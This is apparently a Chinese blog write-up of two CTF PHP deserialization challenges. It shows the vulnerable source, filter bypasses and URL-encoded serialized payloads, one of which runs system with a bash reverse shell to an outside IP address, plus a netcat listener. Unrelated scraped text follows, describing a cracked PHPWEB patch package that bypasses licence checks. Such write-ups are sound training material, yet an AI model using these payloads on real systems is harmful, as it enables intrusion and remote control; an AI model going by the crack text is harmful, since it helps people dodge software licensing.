[Web/反序列化]青龙组AreUSerialz+朱雀组-phpweb

反序列化两道题目

难度不大,但也要认真审计

青龙组AreUSerialz

源码
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

绕过
过滤-1
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

强弱比较差异(类型不同)进行绕过,

echo(2=='2' ? 1 :0);  // 1
echo(2==='2' ? 1 :0);  // 0
过滤-2

is_valid(即等效!( (chr($i) >= chr(32) && chr($i) <= chr(125)) )逻辑)经测试,合法字符为,

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}

而protect变量自带%00,不能通过检验,

改为public变量即可()

Payload

/flag

O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3BN%3Bs%3A8%3A%22filename%22%3BN%3Bs%3A7%3A%22content%22%3BN%3B%7D

flag.php

O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

得到flag

朱雀组-phpweb

查看源码,存在表单,目测存在回调函数call_user_func等,

<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

POST

func=file_get_contents&p=index.php

index.php

    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        // 防范大小写绕过
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

没有限制反序列化函数,可对TEST类利用,利用第二层的gettime绕过对system等的限制,

我使用了反弹bash,

需要现在服务器监听端口(确保端口在运营商和宝塔等处开放入规则),

nc -lvp [端口]

生成序列化,

class Test {
    var $p = "bash -c 'bash -i >& /dev/tcp/121.36.96.230/2333 0>&1'";
    var $func = "system";
}
echo urlencode(serialize(new Test()));

POST

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A53%3A%22bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F121.36.96.230%2F2333+0%3E%261%27%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

翻不到,直接搜索

find / -name "fla*"

找到

/tmp/flagoefiu4r93

读取即可得到flag

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
信易phpweb全能补丁包 I:\陈君毅个人文档\陈君毅的事业\制作网站项目\PHPWEB\升级破解补丁\信易,陈君毅,验证,能用好用的补丁\全能破解(安装+2.0.14升级+模板安装免验证) ├─base │ ├─admin-post.php 【模板升级免验证破解】 免验证增加模板后,需要添加权限 │ ├─install-index.php 【安装跳第三步破解】 第二十行的 $step=0 修改为$step=3 。 修改为3的意思是从第三步开始。 │ └─templates-header.htm 【IE6的兼容性补丁】 修改浏览器的兼容性问题,增加了一句<meta http-equiv="X-UA-Compatible" content="IE=7" /> ├─includes-update.php 【升级包安装补丁】 第150行为密码123456。原来个别补丁更新后会覆盖本文件,需要再上传本update.php方可继续安装下一升级包,现在信易已更新补丁包,可一直安装无需再上传。 └─update 【升级包源文件2.05】 更新至2.0.14版,20121019,已修正20100830和20111209的update.php,无需中途再上传update.php。只上传要用的升级包到服务器,即可。 └─upupup 【冰蓝PhpwebBak 2011】 备份数据库的工具,用户名:admin class/config.php,“$set_password”的值改为“e10adc3949ba59abbe56e057f20f883e”,密码就是:123456。 www.ebcm.com.cn ========================================================================================================================================================================================================================================================================================================================= 【post.php详细说明】好不容易给客户架设后了一个成品网站,客户提出要增加会员功能,这可愁坏我了,因为之前这套模板里面是没有会员等模块,怎么办呢,重新换版子?那太累了,数据都要重新添加(BS一下,其他模板程序都是数据和模板分离)。幸好程序提供了添加功能。好了,成都网站建设专家-易维网络特意总结了一下详细步骤,希望能帮到一些人: 把要安装的模块的文件先传到网站根目录。这里有人就说我没有文件怎么办,可以去其他模板下面下载下来。会员的文件夹名称是member,下载是down。 后台-设置-模块插件管理,点击右边的“查询未安装模块”,下拉选择要安装的模块。这一步会提示需要用户名验证:1,找卖给你程序的人,他们有会员账号。2,给他破解了。base\admin下面的post.php,这个文件,破解后的文件为: 把这个文件替换上去就OK了,但是点击会员模块的时候还会提示无权操作。解决方法:设置-管理账户维护,把帐号的权限下面的会员相关都打上勾。 附上一些内部网址的地址,在网站制作的时候用得上: 1、会员模块 会员中心:member/index.php 会员资料设置 member/member_account.php 登录账号设置 member/member_account.php 会员资料修改 member/member_detail.php 头像签名设置 member/member_person.php 联系信息修改 member/member_contact.php 我的收藏夹 member/member_fav.php 我的点评 member/member_comment.php 我的好友 member/member_friends.php 我的积分 member/member_cent.php 我的站内短信 member/member_msn.php 安全退出登录 logout.php 会员付款记录 member/member_paylist.php 会员消费记录 member/member_buylist.php 在线支付充值 member/member_onlinepay.php 2、新闻文章模块 文章分类 news/news_cat.php 文章发布 news/news_fabu.php 文章管理 news/news_gl.php 3、图片展示模块 图片分类 photo/photo_cat.php 图片发布 photo/photo_fabu.php 图片管理 photo/photo_gl.php 4、产品展示模块 产品分类 product/product_cat.php 产品发布 product/product_fabu.php 产品管理 product/product_gl.php 5、文件下载模块 下载分类 down/down_cat.php 下载发布 down/down_fabu.php 下载管理 down/down_gl.php 6、客户服务模块 提交我的问题 service/service.php 客服工单查询 service/feedback.php 存档工单查询 service/feedbackhis.php 7、网上购物模块 订单查询 shop/order.php 8、医院门诊模块 门诊预约管理 hospital/hospital_reservenotice.php 网上预约挂号 hospital/hospital_reserve.php 预约挂号查询 hospital/hospital_reservemanage.php 历史预约记录 hospital/hospital_reservedue.php 9、供求信息模块 信息自定分类 bizinfo_cat.php 供求信息管理 bizinfo/bizinfo_fabu.php 供求信息发布 bizinfo/bizinfo_fabu.php 供求信息管理 bizinfo_gl.php 10、技术信息模块 技术项目发布 tech/techadd.php 技术需求发布 tech/techdemandadd.php 项目信息管理 tech/techgl.php 需求信息管理 tech/techdemandgl.php 11、展会信息模块 加入公司名录 zlinfo/zlinfo_comadd.php 展会信息发布 zlinfo/zlinfo_add.php 展会信息管理 zlinfo/zlinfo_gl.php 展览场馆发布 zlinfo/zlinfo_cgadd.php 展览场馆管理 zlinfo/zlinfo_cggl.php 服务信息发布 zlinfo/zlinfo_fuwuadd.php 服务信息管理 zlinfo/zlinfo_fuwugl.php 参展申请查询 zlinfo/zlinfo_sq.php =========================================================================================================================================================================================================================================================================================================================

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值